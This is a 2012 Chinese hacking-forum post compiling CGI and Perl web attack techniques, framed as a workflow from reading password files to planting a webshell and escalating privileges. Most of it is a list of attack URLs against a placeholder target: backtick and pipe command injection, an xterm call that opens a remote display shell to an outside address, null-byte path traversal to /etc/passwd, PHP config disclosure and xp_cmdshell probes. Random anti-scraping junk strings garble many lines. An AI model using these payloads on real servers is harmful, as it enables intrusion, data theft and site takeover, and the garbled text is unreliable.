找回密码
 立即注册
查看: 3575|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
! g: b1 r4 L8 `! |( ycookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
) [2 I! L- H& t5 K感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  4 ]9 c% [! O- ^* v
注“  * o% g+ {, a1 _% h5 F+ N
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  2 H3 M3 C/ m8 A3 a4 M0 `
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  5 B+ h7 }) Z( l1 k3 i5 O) M
( I; W/ K" g+ V$ s5 j9 y
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造    H8 v5 t! r+ B: |: r' E
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  5 Y" Q+ F' @; v; K0 \
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  6 \+ g- C% X0 ?: u- W' z* i; W
http://target.com/cgi-bin/home/news/sub.pl?`id`  8 _) Q/ h$ E2 e- p
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
, {$ M+ A( C/ x' z! z; [& bhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
0 u4 K) R, }3 _& x/ w0 Q% R+ p
  I: H! I) h5 C9 R( l2 ^2 l! _http://target.com/test.pl;ls|  " ^/ Y0 O+ U# G
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  8 i& W* J$ y. r
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  & `/ V. H  o0 v1 l; d
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
  j  G4 c" [4 t$ a" W1 t* j* S  A; R比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  # ~/ A6 s$ Y9 K: c8 `
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  ; Y9 \( d2 W3 U( v
# F; u: C- f1 R6 X9 a
http://target.com/test.pl?&........ /../../etc/passwd  3 ]' i* d4 T6 U7 M. z

6 a" L7 B6 e3 F5 S' Y8 a& t8 g8 Thttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  ( T. E" @: m' a3 D: U
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
- N% g3 W2 ~8 ~0 S5 E% Ghttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
9 ?, c1 @. N: \, h
& U9 [7 I. V! Rhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
( ]3 V! l4 k7 r+ D6 X* w% Hhttp://www.target.org/show.php?f ... ng/admin/global.php  
) y: t" E, d' Z4 `  B4 a) d' t, {4 o( P
emm和ps的一句话
, g- t8 h' _9 J! Q5 L" y
' T8 f0 ]3 m! M4 y( Y% Bhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
2 v1 Y3 ~8 u* y; n+ d
( h, N, \; _( |1 u>bbb%20|  ( s% }3 M3 A; H) _/ _5 G

; l5 S( U# g" D: shttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
/ V( _2 X7 w2 L" z! F4 c: n8 p. \4 E
' g" I/ C: F4 c: }# C' fhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
* J& S, O& N$ X/ V* ]6 v/ \8 Whttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  & q% }" k6 d! V, C  F2 S- h
$ S  ^1 M: h, ?
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  : z( |7 Z% L7 H- n  |4 D' F, X- |8 w. D
http://target.com/index.html#cmd.exe  
) E. ]) Q4 y9 K1 w  M; N& Bhttp://target.com/index.html?dummyparam=xp_cmdshell  
! l7 v$ S; K  @7 R3 ^1 t  xlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
$ t/ q) J& {0 V$ \  }/ N0 D! X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表